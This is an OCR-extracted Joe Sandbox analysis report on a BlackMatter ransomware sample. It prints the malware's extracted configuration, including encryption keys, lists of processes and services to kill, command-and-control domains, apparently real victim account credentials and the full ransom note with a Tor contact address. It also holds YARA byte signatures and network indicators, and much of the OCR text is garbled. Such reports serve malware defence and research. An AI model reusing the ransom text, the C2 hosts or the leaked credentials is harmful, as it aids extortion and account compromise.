JOESandbox Cloud™*

ID: 508200

Sample Name:
GILHM7paoZ.exe

Cookbook: default.jbs

Time: 09:20:32

Date: 24/10/2021

Version: 33.0.0 White Diamond



Table of Contents

Table of Contents

Windows Analysis Report GILHM7paoZ.exe

Overview
General Information
Detection
Signatures
Classification
Process Tree

Malware Configuration
Threatname: BLACKMatter
Yara Overview
Initial Sample
Memory Dumps
Unpacked PEs
Sigma Overview
Jbx Signature Overview
AV Detection:
Networking:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:
Malware Analysis System Evasion:
Anti Debugging:
Mitre Att&ck Matrix
Behavior Graph
Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs

Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
Contacted IPs
Public

General Information

Simulations
Behavior and APIs

Joe Sandbox View / Context
IPs
Domains
ASN
JA3 Fingerprints
Dropped Files
Created / dropped Files

Static File Info
General
File Icon
Static PE Info
General
Entrypoint Preview
Data Directories
Sections
Imports
Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets
HTTPS Proxied Packets

Code Manipulations
Statistics
System Behavior

Analysis Process: GILHM7paoZ.exe PID: 4540 Parent PID: 5772

General
File Activities
File Created

Copyright Joe Security LLC 2021

©OWOOWoN~N~N~N~N~N~NooonUlaMAMMNANDMDNDN

P RrRrRrRr P LR
NNNRRPPRoooo O

[N
N

PhrpprpprpRpR
N vNouow W N

aaasSDDNDND »rA NP
RoOoboboboooO©ssEEsEsddIN

(109
(20K

55
55
55

56
56

Page 2 of 56



File Deleted 56

File Moved 56

File Written 56

File Read 56
Registry Activities 56

Key Created 56

Key Value Modified 56
Disassembly 56
Code Analysis 56

Copyright Joe Security LLC 2021 Page 3 of 56



Windows Analysis Report GILHM7paoZ.exe

Overview

General Information

Sample GILHM7paoZ.exe
Name:

Analysis ID: 508200

MDS: 598¢53bfef81e48..
SHAL: 80a29bd2c349a8..
SHA256: 22d7d67c3af10b1.
Infos: B QS
HCA'
v

Most interesting Screenshot:

wugt find kVuoJyeoW.README.txt file
.;\ml follow the instructions!

Process Tree

= System is w10x64

Detection

F MALICIOUS 1

BLACKMatter
Score: 100
Range: 0-100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e....
Multi AV Scanner detection for subm...
Malicious sample detected (through ...

Found ransom note / readme

Antivirus / Scanner detection for sub...
Yara detected BLACKMatter Ransom...
Multi AV Scanner detection for doma...

Hides threads from debuggers

Changes the wallpaper: picture
Found Tor enion address

Machine Learning detection for samp...

e [B| GILHM7paoZ.exe (PID: 4540 cmdline: 'C:\Users\user\Desktop\GILHM7paoZ.exe' MD5: 598C53BFEF81E489375F09792E487F1A)

= cleanup

Malware Configuration

Threatname: BLACKMatter

Copyright Joe Security LLC 2021
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"Version”: "1.2",
"RSA Key":
"8719a830f4ba94949291582b6654f96c96d9a0f4419f52f367cf2e19b9c95a9b7091cbefafbe5ae39dae285894590a8db8b764e572fab5234646f865%ada2fbd8c37bfddd60797a5ad9dad2ded37969d179ead4ad4c1980d0
e70b056241d325e18beb5cc4925fa56abf810f916e7932d016a86e3ad97749e75f9031114b0O60b56",
"Company Victim ID": "512478c08dada2af19e49808fbda5bob",
"AES key": "a6f330b09cd47b4fb9214f7836aad6ad"
"0DD_CRYPT_LARGE_FILES": false,
"NEED_MAKE_LOGON": true,
"MOUNT_UNITS_AND_CRYPT": true,
"CRYPT_NETWORK_RESOURCES_AND_AD": true,
"TERMINATE_PROCESSES": true,
"STOP_SERVICES_AND_DELETE": true,
"CREATE_MUTEX": true,
"PREPARE_VICTIM_DATA_AND_SEND": true,
"PROCESS_TO_KILL": [
"encsvc",
"thebat",
"mydesktopgos”,
"xfssvccon”,
"firefox",
"infopath",
"winword",
"steam",
"synctime",
"notepad"”,
"ocomm",
"onenote",
"mspub”,
"thunderbird”,
"agntsvc",
"sql”,
"excel”,
"powerpnt”,
"outlook”,
"wordpad”,
"dbeng50",
"isqlplussvc”,
"sqbcoreservice”,
"oracle”,
"ocautoupds”,
"dbsnmp",
"msaccess”,
"tbirdconfig",
"ocssd",
"mydesktopservice",
"visio"

1

"SERVICES_TO_KILL": [
"mepocs”,
"memtas”,
"veeam",
"svcs”,
"backup",
"sql”,

1

"C2_URLS": [
"https://paymenthacks.com”,
"http://paymenthacks.com",
"https://mojobiden.com",
"http://mojobiden.com"

1,

"LOGON_USERS_INFORMATION": [
"aheisler@hhcp.com:120Heisler"”,
"dsmith@hhcp.com:Tesla2019",
"administrator@hhcp.com:iteam8**"

1,

"RANSOM_NOTE": " ~t \rin * +\rln ! BLACK [\rin () Lel,= = -0 - \rin
'=/_ I / \rin ol =l / \rin 1 =/ ! \rin L ==t *\rin +
Matter +\rln 0 * ! \r\n\r\n>>> what happens?\r\n  Your network is encrypted, and currently not operational. We have downloaded 1TB from your

fileserver.|\r\n We need only money, after payment we will give you a decryptor for the entire network and you will restore all the data.\r\n\r\n>>> What guarantees? \r\n We
are not a politically motivated group and we do not need anything other than your money. \r\n If you pay, we will provide you the programs for decryption and we will delete
your data. \r\n If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not comply with our goals. \r\n We always keep
our promises.|\r|n\r\n>> Data leak includes|r|ni. Full emloyeers personal data\r\n2. Network information|r\n3. Schemes of buildings, active project information, architect details
and contracts, |r\n4. Finance info\r\n\r\n|\r\n>>> How to contact with us? |\r\n 1. Download and install TOR Browser (https://www.torproject.org/).\r\n 2. Open
http://supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getgqnzxid.onion/7NT6LXKCIXQHW5039BLOV. \r\n \r\n>>> Warning! Recovery recommendations. \|r\n We strongly recommend you to
do not MODIFY or REPAIR your files, that will damage them."

}

Yara Overview

Initial Sample

Copyright Joe Security LLC 2021
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Source

GILHM7paoZ.exe

Memory Dumps
Source
00000000.00000003.279368947.00000000012F

B000.00000004.00000001.sdmp

00000000.00000003.279421242.00000000012F
C000.00000004.00000001.sdmp

00000000.00000002.359933097.00000000012F
F000.00000004.00000001.sdmp

Process Memory Space: GILHM7paoZ.exe PID: 4540

Unpacked PEs

Source
0.2.GILHM7paoZ.exe.10f0000.0.unpack

Copyright Joe Security LLC 2021

Rule

Description

RAN_BlackMatter_Aug_20 Detect

211

Rule

JoeSecurity_blackmatter

JoeSecurity_blackmatter

JoeSecurity_blackmatter

JoeSecurity_blackmatter

Rule

BlackMatter
ransomware

Description
Yara detected

BLACKMatter
Ransomware

Yara detected
BLACKMatter
Ransomware

Yara detected
BLACKMatter
Ransomware

Yara detected
BLACKMatter
Ransomware

Description

RAN_BlackMatter_Aug_20 Detect

211

BlackMatter
ransomware

Author
Arkbird_SOLG

Author

Joe Security

Joe Security

Joe Security

Joe Security

Author
Arkbird_SOLG

Strings

o

0xb83b:$s1: 55 8B EC 81 EC AC 02 00 00 53 51 52 56
57 C7 45 FC 00 00 00 00 C7 45 F4 00 00 00 00 C7 45
F0 00 00 00 00 C7 45 EC 00 00 00 00 6A 00 FF 15 00
1541 00 85 CO OF 85 3E 04 00 00 8D 45 D4 50 6A 00 .

Oxbabf:$s2: 8D 45 88 C7 00 A1 5F 42 22 C7 40 04 AC
5F 56 22 C7 40 08 D7 5F 29 22 C7 40 0C C2 5F 45 22
C7 4010 A3 5F 3B 22 C7 40 14 AE 5F 69 22 C7 40 18
80 5F 76 22 C7 40 1C 98 5F 72 22 C7 40 20 88 5F 74 .

0x61b3:$s3: 8D 45 B4 C7 00 21 0A 83 E9 C7 40 04 C5
CED733C7400840C406E2C7400CA287FBD
D B9 04 00 00 00 81 30 ED 5F 06 22 83 C0 04 49 75 F
48D 45 A4 C7 00 6A F9 14 FE C7 40 04 92 2C C9 33
C7 ..

0Ox6dc:$s4: 8D BD FC FE FF FF 32 CO AA B9 2A 00 00
00 BO FF F3 AA BO 3E AA B9 03 00 00 00 BO FF F3 AA
BO 3F AAB9 0A 00 00 00 BO 34 AAFECOE2FB B9 0
300 00 00 BO FF F3 AA 32 CO AA B9 03 00 00 00 BO F
F..

0x108e5:$s5: 35 35 35 4F 35 58 35 22 36 35 36 3F 36
2C 37 3F 37 60 37 76 37

0x10865:$s6: 3D 2B 3D 47 3D 4D 3D 60 3D 67 3D 6D
3D

0x791:$s7: 8B OE OF B6 D1 OF B6 DD 57 8D BD FC F
E FF FF 8A 04 3A 8A 24 3B C1 E9 10 83 C6 04 OF B6
D1 0OF B6 CD 8A 1C 3A8A3C 395F 8AD48AF3COE
002 COEB 02 CO E6 06 CO E4 04 CO EA 04 OA FE OA
C20A ...

Strings

Strings

.

.

0x61b3:$s3: 8D 45 B4 C7 00 21 0A 83 E9 C7 40 04 C5
CED733C7400840C406 E2C7400CA287FBD
D B9 04 00 00 00 81 30 ED 5F 06 22 83 C004 49 75 F
48D 45 A4 C7 00 6A F9 14 FE C7 40 04 92 2C C9 33
C7 ..

0Ox6dc:$s4: 8D BD FC FE FF FF 32 CO AA B9 2A 00 00
00 BO FF F3 AA BO 3E AA B9 03 00 00 00 BO FF F3 AA
BO 3F AAB9 0A 00 00 00 BO 34 AAFECOE2FBB90
30000 00 BO FF F3 AA 32 CO AA B9 03 00 00 00 BO F
F..

0x108e5:$s5: 35 35 35 4F 35 58 35 22 36 35 36 3F 36
2C 37 3F 37 60 37 76 37

0x10865:$s6: 3D 2B 3D 47 3D 4D 3D 60 3D 67 3D 6D
3D

0x791:$s7: 8B OE OF B6 D1 OF B6 DD 57 8D BD FC F
E FF FF 8A 04 3A 8A 24 3B C1 E9 10 83 C6 04 OF B6
D1 0OF B6 CD 8A 1C 3A8A 3C 395F BAD48AF3COE
002 CO EB 02 CO E6 06 CO E4 04 CO EA 04 OA FE 0A
C20A ..
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Source Rule Description Author Strings

0.0.GILHM7paoZ.exe.10f0000.0.unpack RAN_BlackMatter_Aug_20 Detect Arkbird_SOLG e 0x61b3:$s3: 8D 45 B4 C7 00 21 0A 83 E9 C7 40 04 C5
211 BlackMatter CE D7 33 C7 400840 C4 06 E2 C7 40 0C A2 87 FB D
ransomware D B9 04 00 00 00 81 30 ED 5F 06 22 83 C0 04 49 75 F
48D 45 A4 C7 00 6A F9 14 FE C7 40 04 92 2C C9 33
C7 ...

e 0x6dc:$s4: 8D BD FC FE FF FF 32 CO AA B9 2A 00 00
00 BO FF F3 AA BO 3E AA B9 03 00 00 00 BO FF F3 AA
BO 3F AA B9 0A 00 00 00 BO 34 AAFE COE2 FB B9 0
300 00 00 BO FF F3 AA 32 CO AA B9 03 00 00 00 BO F
F..

e 0x108e5:$s5: 35 35 35 4F 35 58 35 22 36 35 36 3F 36
2C 37 3F 37 60 37 76 37

e 0x10865:$s6: 3D 2B 3D 47 3D 4D 3D 60 3D 67 3D 6D
3D

e 0x791:$s7: 8B OE OF B6 D1 OF B6 DD 57 8D BD FC F
E FF FF 8A 04 3A 8A 24 3B C1 E9 10 83 C6 04 OF B6
D1 0OF B6 CD 8A 1C 3A8A 3C 39 5F 8BAD4 8AF3 CO E
002 COEB 02 CO E6 06 CO E4 04 CO EA 04 OA FE OA
C20A ...

Sigma Overview

No Sigma rule has matched

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file
Antivirus | Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

K

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Spam, unwanted Advertisements and Ransom Demands:

-

Found ransom note / readme

Yara detected BLACKMatter Ransomware

System Summary:

Malicious sample detected (through community Yara rule)

Malware Analysis System Evasion: | |
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Anti Debugging:

Mitre Att&ck Matrix

Initial Privilege
Access Execution Persistence Escalation Defense Evasion
Valid Native Valid Valid Masquerading

Accounts API Accounts Accounts

Default Scheduled Boot or Access Token  Valid Accounts
Accounts Task/Job  Logon Manipulation

Initialization

Scripts
Domain At (Linux) Logon Script Logon Script Virtualization/Sandbox
Accounts (Windows)  (Windows) Evasion
Local At Logon Script Logon Script Access Token
Accounts (Windows) (Mac) (Mac) Manipulation
Cloud Cron Network Network Logon Obfuscated Files or
Accounts Logon Script Script Information

Replication Launchd Rc.common Rc.common Software Packing

Through
Removable
Media
External Scheduled Startup Startup Items ~ Compile After
Remote Task Items Delivery
Services
Drive-by Command Scheduled  Scheduled Indicator Removal
Compromise and Task/Job Task/Job from Tools
Scripting
Interpreter

Behavior Graph

Copyright Joe Security LLC 2021

Credential
Access Discovery
oS Security Software

Credential Discovery
Dumping

LSASS Virtualization/Sandbox
Memory Evasion

Security  Process Discovery
Account

Manager

NTDS Account Discovery
LSA System Owner/User

Secrets  Discovery

Cached Remote System
Domain Discovery
Credentials

DCSync File and Directory
Discovery
Proc System Information

Filesystem Discovery

Lateral
Movement Collection Exfiltration
Remote Archive Exfiltration
Services Collected  Over Other
Data Network
Medium
Remote Data from  Exfiltration
Desktop Removable Over
Protocol Media Bluetooth

SMB/Windows Data from Automated
Admin Shares Network Exfiltration
Shared

Drive
Distributed Input Scheduled

Component Capture Transfer

Object Model
SSH Keylogging Data
Transfer
Size Limits
VNC GUI Input  Exfiltration
Capture Over C2
Channel
Windows Web Portal Exfiltration
Remote Capture Over
Management Alternative
Protocol
Shared Credential  Exfiltration
Webroot API Over
Hooking Symmetric
Encrypted
Non-C2
Protocol

Command
and Control

Encrypted

Channel

Ingress Tool
Transfer

Non-
Application
Layer
Protocol

Application
Layer
Protocol

Proxy

Multiband
Communication

Commonly
Used Port

Application
Layer Protocol

Network
Effects

Eavesdrop on
Insecure
Network
Communicatiot

Exploit SS7 to
Redirect Phone
Calls/SMS

Exploit SS7 to
Track Device
Location

SIM Card
Swap

Manipulate
Device
Communicatiot

Jamming or
Denial of
Service

Rogue Wi-Fi
Access Points

Downgrade to
Insecure
Protocols
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Legend:

D Process
I:‘ Signature
D Created File

Il onsieinfo
=

Behavior Graph == lS DropDEd
: s08200 A% Is Windows Process
Sample: GILHM7paoZ.exe SUGPICIDUS
Strdate: 2402021 o =+ Number of created Registry Values

Architecture:  WINDOWS

GNKNOWN

Score: 100

Number of created Files

"q Visual Basic

UIEUA]
ERZIC
Java

GILHM7paoZ.exe

.Net C# or VB.NET

C, C++ or other language

D@ 2 i~

Is malicious
2 G Internet
443, 49755, 49757 jgh ww25.paymenthacks.com ' ther IPs or domains dropped dropped dropped dropped
-APTrellianPtyLimited AU
Australia %
ciL i JyeoW.README txt, ASCKT) ci README txt, ASC{T) CilUsersluser...\kVuodyeoW.README.txt, ASCE 11 other files (8 malicious)
Contains functionality Writes a notice file
e virtualization (htm or tx) to demand Hides threads from debuggers 2 other signatures
(CPUID execution measurement) aransom

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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LN

Recycle Bin  JDDHMPC DUUDTUBZ... PALRGUCY ...

Zmn

Acrobat LFOPODGV EEGW

LELE e

EFOYFBOL...

ﬂxg

Excel 2016

wg

Word 2016

ﬁil.cliV[_tter Ransomware encrypted all your

GILHM7pa... NWCXEPIUY! EFOYFBOL.

QCFWYSK...

files!

F .
—fo-geeyour data back'and keep your privacy

DUUDTUB  QNCYCDFUJ GAOBCVIQ)L... SQSIKEBW.

HIl O Tyoe here to search 4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

GILHM7paoZ.exe
GILHM7paoZ.exe
GILHM7paoZ.exe

GILHM7paoZ.exe
GILHM7paoZ.exe

Dropped Files

No Antivirus matches

Unpacked PE Files

Source
0.2.GILHM7paoZ.exe.10f0000.0.unpack
0.0.GILHM7paoZ.exe.10f0000.0.unpack

Domains

Source

paymenthacks.com

Copyright Joe Security LLC 2021

Detection
87%
7%
93%

100%
100%

Detection Scanner

100% Avira

100% Avira

Detection

15%

and follow the instructions!

9:23 AM D

W 1012472001

Scanner Label Link
Virustotal Browse
Metadefender Browse
ReversingLabs Win32.Ransomware.Black
Matter
Avira TR/Crypt.EPACK.Gen2
Joe Sandbox ML
Label Link
TR/Crypt.EPACK.Gen2
TR/Crypt.EPACK.Gen2
Scanner Label Link
Virustotal Browse

Page 10 of 56

Download
Download File

Download File


https://www.virustotal.com/gui/file/22d7d67c3af10b1a37f277ebabe2d1eb4fd25afbd6437d4377400e148bcc08d6/detection/f-22d7d67c3af10b1a37f277ebabe2d1eb4fd25afbd6437d4377400e148bcc08d6-1633255673
https://www.metadefender.com/#!/results/file/YnpJeE1Ea3lNbEZCVFZSVGRrbHVNek1MYXo4bmtmb3ZF/regular/analysis
https://www.virustotal.com/gui/url/ad323946d804982acb6f8b346d04b295c5a6b56dccec573d3ccf24d8734c0f60/detection/u-ad323946d804982acb6f8b346d04b295c5a6b56dccec573d3ccf24d8734c0f60-1634801097

Source Detection Scanner Label Link

URLs

Source Detection Scanner Label Link
http:/fpaymenthacks.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alLz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mM

http:/fww25.paymenthacks.com/ 0% Avira URL Cloud safe
http:/fmojobiden.com/? 0% Avira URL Cloud safe

wFdsAo=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtmW9ThsVHLPVT&NIzLa=

http:// 0% Avira URL Cloud safe
supp24yy6a66hwszu2piygicgwzdtbwftb76htfj7vnip3getggnzxid.onion/7NT6LXKC1XQHW5039BLOV.

http:/fww25.paymenthacks.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6

http:i/https://mojobiden.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mI3

http:/fpaymenthacks.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3fju
3=SkxeAp3EGyy3E&fGep=0079la8IfpgF2P{&Ktpuhpgn=2pQNXS3RarpD2S&lzL C=HEaimaSUBS3zwOn

FsZL&MNg=HhbZ8eK

http:i/https://paymenthacks.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3fju
3=SkxeAp3EGyy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&lzL C=HEaimaSUBS3zwOn

FsZL&MNg=HhbZ8eK

http:/fww25.paymenthacks.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3fju
3=SkxeAp3EGyy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&lzL C=HEaimaSUBS3zwOn
FsZL&MNg=HhbZ8eK&subid1=20211024-1821-244d-afd2-7f2406ac953a

http:/fpaymenthacks.com/? 0% Avira URL Cloud safe
WFdsA0=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POryY85r3g=3yWBtmW9ThsVHLPVT&NIz

http:i/fhttps://mojobiden.com/ 0% Avira URL Cloud safe
http://fhttps://mojobiden.com/ments 0% Avira URL Cloud safe
http:/fww25.paymenthacks.com/? 0% Avira URL Cloud safe

WFdsA0=m8SxzzJYABCye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtmW9ThsVHLPv

http:/fww25.paymenthacks.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3fju
3=SkxeAp3EGyy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&lzL C=HEaimaSUBS3zwOn
FsZL&MNg=HhbZ8eK&subid1=20211024-1821-245b-b16a-e897805eb3ba

http:/fmojobiden.com/? 0% Avira URL Cloud safe
ztYdx0Q=9Jh2L4nBPBJechaF7&alLz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3f

http:/fww25.paymenthacks.com/u 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

Copyright Joe Security LLC 2021 Page 11 of 56



https://www.virustotal.com/gui/url/dc008163b78ea05ae4f1b14665e95a677dceb36635b3866137dd0deeb4a6a767/detection/u-dc008163b78ea05ae4f1b14665e95a677dceb36635b3866137dd0deeb4a6a767-1634958741
https://www.virustotal.com/gui/url/7987d6a9046c4d9cc47ed719651c04fc66c62105e7d51f32e776aa5da211a266/detection/u-7987d6a9046c4d9cc47ed719651c04fc66c62105e7d51f32e776aa5da211a266-1633308571
https://www.virustotal.com/gui/url/ad323946d804982acb6f8b346d04b295c5a6b56dccec573d3ccf24d8734c0f60/detection/u-ad323946d804982acb6f8b346d04b295c5a6b56dccec573d3ccf24d8734c0f60-1634801097
https://www.virustotal.com/gui/url/dc008163b78ea05ae4f1b14665e95a677dceb36635b3866137dd0deeb4a6a767/detection/u-dc008163b78ea05ae4f1b14665e95a677dceb36635b3866137dd0deeb4a6a767-1634958741
https://www.virustotal.com/gui/url/7987d6a9046c4d9cc47ed719651c04fc66c62105e7d51f32e776aa5da211a266/detection/u-7987d6a9046c4d9cc47ed719651c04fc66c62105e7d51f32e776aa5da211a266-1633308571

Name

URLs from Memory and Binaries

Contacted IPs

Public

P Domain

199.59.242.153

77026.bodis.com

Malicious Antivirus Detection Reputation
Country Flag ASN ASN Name Malicious
United States 395082 BODIS-NJUS false

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Copyright Joe Security LLC 2021

33.0.0 White Diamond
508200

24.10.2021

09:20:32

CloudBasic

Oh 5m 20s

false

light
GILHM7paoZ.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
26

o ©o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.rans.evad. WinEXE@1/176 @6/2
e Successful, ratio: 100%

e Successful, ratio: 99.2% (good quality ratio 63.7%)
e Quality average: 43.5%
e Quality standard deviation: 39.4%

Failed

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All
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Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256 Detection Link Context

199.59.242.153 Get hash malicious Browse e www.chnau
torepair.c
om/euzn/?B
ZLHP=wNIAP
wczlIPW06Q
RNMfe7+Bvd
0alvlY03zq
C2ehyT6EzX
clt+pBwMb5o
+dGxGLIVEd
5bT&TITd=3
fOXPL6PF

Get hash malicious Browse o Www.wwwmw
rfinancial
.com/ons6/?
XfrpLn7h=
iGZirlTFeZ
SOuk1H5CsS
TBn/b12Z8E
CeYgPeJTtl
1VYITjHIt9
scVaoFn5Ft
h1/5B85F&t
2Mp=cHPxvx
KpXXcDTFG

Get hash malicious Browse e www.phill
ytrainers.
com/fqiql/?
wO=KVmNRSh
PNEpZevdJO
GVoBN6bfON
Nqipfcm8rT
iotuO7nZEt
glUyDqdbZv
M5j+nixBit
Q&yP5Pe=z2
MHIXLxnvq0ZjT

Get hash malicious Browse o www.phill
ytrainers.
com/fqiq/?
IN643ZF0=K
VMNRShPNEp
ZevdJOGVoB
N6bfONNgip
fem8rTiotu
O7nZEtglUy
DqdbzZvM5j+
nixBitQ&aJ
BX0=PzuD_|

Get hash malicious Browse e www.homes
tyle.onlin
e/pOon/?j6
A4shD=0JcV
OGbmtAV6+X
8cWOv8hka/
GtxgnLjyGm
i+zwjjgckm
cwtTT3IMbL
8IDx/Fh7j0
XRKv&7neDK
v=F8CLZJ

Get hash malicious Browse e www.hairu
no.com/ngn4/?-
ZddGje
=xQ77bd/8k
a8+uLT+yjC
t7f70TK33y
U40XkgRx1a
ZOTRYIGJxg
HYF5u7IELM
7J9J/ICgNW&
3ffLp=fp_T
0dzXgD
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https://view.joesandbox.com/analysis/398557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398557/html/none?idtype=webid
https://view.joesandbox.com/analysis/398442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398442/html/none?idtype=webid
https://view.joesandbox.com/analysis/397881/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397881/html/none?idtype=webid
https://view.joesandbox.com/analysis/397088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397088/html/none?idtype=webid
https://view.joesandbox.com/analysis/396664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396664/html/none?idtype=webid
https://view.joesandbox.com/analysis/396514/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396514/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.srofk
ansas.com/fqiq/?
fOGx
Z=wFDpWBcw
GUwbYImhJw
XxG8GxnrXCH
dVwe5dx/el
TICf34keq]
4Yi5GaObll
qtab2MVij/
&9rM=SL04qF

o www.phill
ytrainers.
com/fqiq/?
PZYXXHg=KV
mNRShPNEpZ
evdJOGVoBN
6bfONNgipf
cm8rTiotuO
7nZEtglUyD
qdbZvM5j+n
iXBitQ&vZ=
WVSH

e www.yukinko-
takasu.
com/yjgn/?
7n=4Jaxidl
sEi6dS6bsl|
rWA9H50Do+
SUALVC+y9
m82cyrxL0q
rNOfUweDul
ObZP7zXAY7
1&nV=1b9pvn

o www.myver
izonbillpa
y.com/hr8n/?
CcXOPjf=6
IfPWV1HI&9
rGP5B=ILCQ
ys4W2nml16
PHUN3VKB7/
UprASstji7
H+tefUzZaD
XaBN/QiF20
4GX30/ddIT
dNAK

* www.gafoo
dstamps.co
m/mexq/?ZV
gLF4=aujte
pI6GRWIANW
IDzxdhSPeB
9mp7HWM3P6
GecjuQrHNT
XqttOPLCNB
NcH4bMoCm5
URW&0b00dJ
=3fbLp2DhN
vqéz2

o www.phill
ytrainers.
com/fqiq/?
4hoPA8=KVm
NRShPNEpZe
vdJOGVoBN6
bfONNgipfc
m8rTiotuO7
nZEtglUyDq
dbZvM5JhXS
XFgIQ&bBAI
=nTuD_

o www.ovmfi
nacial.com
lag9v/?9rq
=vpuEruH20
WLAPGAItxg
3/Zj6Xscnx
JenLEapnG3
NwgRIKVIYy
I0HNfskneQ
fORBHQYbR&
BFQ=5jI0jh
MHAOhX_
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https://view.joesandbox.com/analysis/396496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396496/html/none?idtype=webid
https://view.joesandbox.com/analysis/396159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396159/html/none?idtype=webid
https://view.joesandbox.com/analysis/395887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395887/html/none?idtype=webid
https://view.joesandbox.com/analysis/395722/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395722/html/none?idtype=webid
https://view.joesandbox.com/analysis/395656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395656/html/none?idtype=webid
https://view.joesandbox.com/analysis/395333/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395333/html/none?idtype=webid
https://view.joesandbox.com/analysis/395082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395082/html/none?idtype=webid

Match

Domains

Match
77026.bodis.com

paymenthacks.com

ASN
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Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link
Browse
Browse

Browse

Browse

Browse

Context

o www.lifes
tyleeve.co
m/o4ms/?X6
1HiLc=8GNZ
fXhxkQPDp/
0Q3wwiQDJ4
fZPKroBOtz
HsTvHUSmqo0
5FSo/HrWX1
9J6840FY+7
hHWk&jHPhI
=5jo4ZxbHw

* www.gafoo
dstamps.co
m/mexq/?v2
JP=aujtepl
6gRWIANWID
zxdhSPeB9m
p7HWM3P6GC
CjuQrHNTxq
ttOPLCNBNCc
H4bMoCm5uR
W&GZ_=4h-T
kZ9hp8gh-

e www.myver
izonbillpa
y.com/hr8n/?
fODDp6RH
=ILCQys4W2
nmi16PHUN3
VKB7/UprAS
8tji7H+tef
UzZaDXaBN/
QiF204GX0U
FNMprHghN&
8pNLu=7nGt
2pBPBx

o www.newyr
oklifeannu
ities.com/x9r4/?
7n0=
R48xY&c2Jp
7Bc0=IcZHI
yAd60OHV52M
4P40ACjlfZ
tfIGnVbGUI
MndCBdmn5t
cdEwHSZ2Mq
solPmB/a4+IEQ

o www.vspfo
tme.com/eods/?
6liXpZ
